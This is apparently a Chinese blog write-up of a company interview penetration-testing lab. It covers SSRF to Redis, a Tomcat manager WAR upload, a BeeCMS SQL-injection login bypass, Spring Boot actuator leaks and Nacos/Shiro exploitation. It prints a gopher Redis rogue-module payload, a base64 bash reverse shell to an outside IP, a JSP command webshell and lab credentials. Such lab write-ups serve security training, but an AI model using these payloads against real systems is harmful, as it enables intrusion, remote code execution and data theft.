某公司二面靶场记录

本文最后更新于:2025年4月18日 下午

Web1

Flag1

ssrf直接读/flag

image-20241213225813441

Flag2

dict探测内网数据库端口

image-20241215191341918

只有1和7的6379

7存在未授权

image-20241215191441415

题目提示flag2在数据库里,直接读

image-20241215191522364

Flag3

ssrf打内网redis未授权

redis-ssrf

image-20241215191915200

1
gopher://172.18.240.7:6379/_%2A3%0D%0A%247%0D%0ASLAVEOF%0D%0A%2414%0D%0A124.70.209.177%0D%0A%244%0D%0A7777%0D%0A%2A4%0D%0A%246%0D%0ACONFIG%0D%0A%243%0D%0ASET%0D%0A%243%0D%0Adir%0D%0A%245%0D%0A/tmp/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%246%0D%0Aexp.so%0D%0A%2A3%0D%0A%246%0D%0AMODULE%0D%0A%244%0D%0ALOAD%0D%0A%2411%0D%0A/tmp/exp.so%0D%0A%2A2%0D%0A%2411%0D%0Asystem.exec%0D%0A%2414%0D%0Acat%24%7BIFS%7D/flag%0D%0A%2A1%0D%0A%244%0D%0Aquit%0D%0A

image-20241215191949331

Web2

Flag1

7001端口,直接用工具

image-20241213230552613

image-20241213230604473

Flag2

应该工具编码有问题,用base64编码反弹shell

1
echo IyEvYmluL2Jhc2gKc2ggLWkgPiYgL2Rldi90Y3AvMTI0LjcwLjIwOS4xNzcvNzc3NyAwPiYxCg== | base64 -d | bash

然后上线vshell

image-20241214185114392

上传fscan扫描

image-20241214194458512

12开了3306,是个mysql

找与mysql有关的文件

1
grep -iR mysql

image-20241214184950010

加密的密码:
image-20241214185345279

1
{AES}ZhArsOkXPBA9AvAwRxNxpK4G0WlHlpNFBZVsu+PDlYU=

java8换好几个工具都报错,下了个java7才解出来

image-20241214194058591

Meetsec#1024

内网穿透用vshell的隧道代理

用navicat读flag

image-20241214194747599

Flag3

mysql读文件

image-20241214195215678

Web3

Flag1

fscan扫一下

image-20241214123153296

springboot信息泄露

访问119.45.21.241:22883/actuator/env

在最下面找到flag

image-20241214123341751

Flag2

访问/actuator/heapdump下载内存文件

用visualvm打开,查到数据库密码

1
select s from java.util.LinkedHashMap$Entry s where /spring.datasource.password/.test(s.key)

image-20241214130600584

数据库密码为MeetSec@2nd!2022

用navicat连接,找到flag

image-20241214131014262

Web5

Flag1

beemcms,直接搜nday

[代码审计] beecms 4.0 漏洞总结_bees cms漏洞-CSDN博客

先伪造登录进后台

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /admin/login.php?action=ck_login HTTP/1.1
Host: 119.45.21.241:8082
Referer: http://119.45.21.241:8082/admin/login.php
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Origin: http://119.45.21.241:8082
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Content-Type: application/x-www-form-urlencoded
Priority: u=0, i
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Cookie: PHPSESSID=5sbj1i45p9jvcjk806crraqci1
Content-Length: 72

user=-1'+uniselecton+selselectect+1,'admin','e10adc3949ba59abbe56e057f20f883e',0,0+%23&password=123456&code=8a8b&submit=flase&submit.x=36&submit.y=27

image-20241213224814230

再返回网页刷新一下就进入后台了

然后文件上传

image-20241213225101895

image-20241213225129086

抓包改一下Content-Type: image/png就行

image-20241213225334392

注意文件名

image-20241213225512825

拼接路径访问即可

image-20241213225552618

蚁剑连接,在根目录看flag

image-20241213225631833

Web6

Flag1

tomcat默认页面

访问登录页面抓包爆破

得到用户名密码tomcat:qwe123

image-20241214132224506

上传打成war包的jsp马

image-20241214135225642

1
2
3
4
5
6
7
8
9
10
11
12
13
# cmd.jsp
<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>

image-20241214135148839

执行命令得到flag

image-20241214135300717

Web7

Flag1

fscan扫到redis未授权

image-20241214135525955

但计划任务和公钥都写不了

用这个工具vulhub/redis-rogue-getshell: redis 4.x/5.x master/slave getshell module

试了试,一直报错

应该是编译.so文件的问题,github上搜了个现成的打出来了

image-20241214204043034

Web9

Flag1

fcsan扫到nacos

image-20241214152343425

弱口令

nacos
nacos

登录

在配置文件中发现shirokey
image-20241214152509973

猜测另一台主机为shiro

直接用工具

image-20241214152602666

执行命令得到flag

image-20241214152626039


某公司二面靶场记录
http://example.com/2025/04/18/某公司二面靶场记录/
作者
sawtooth384
发布于
2025年4月18日
许可协议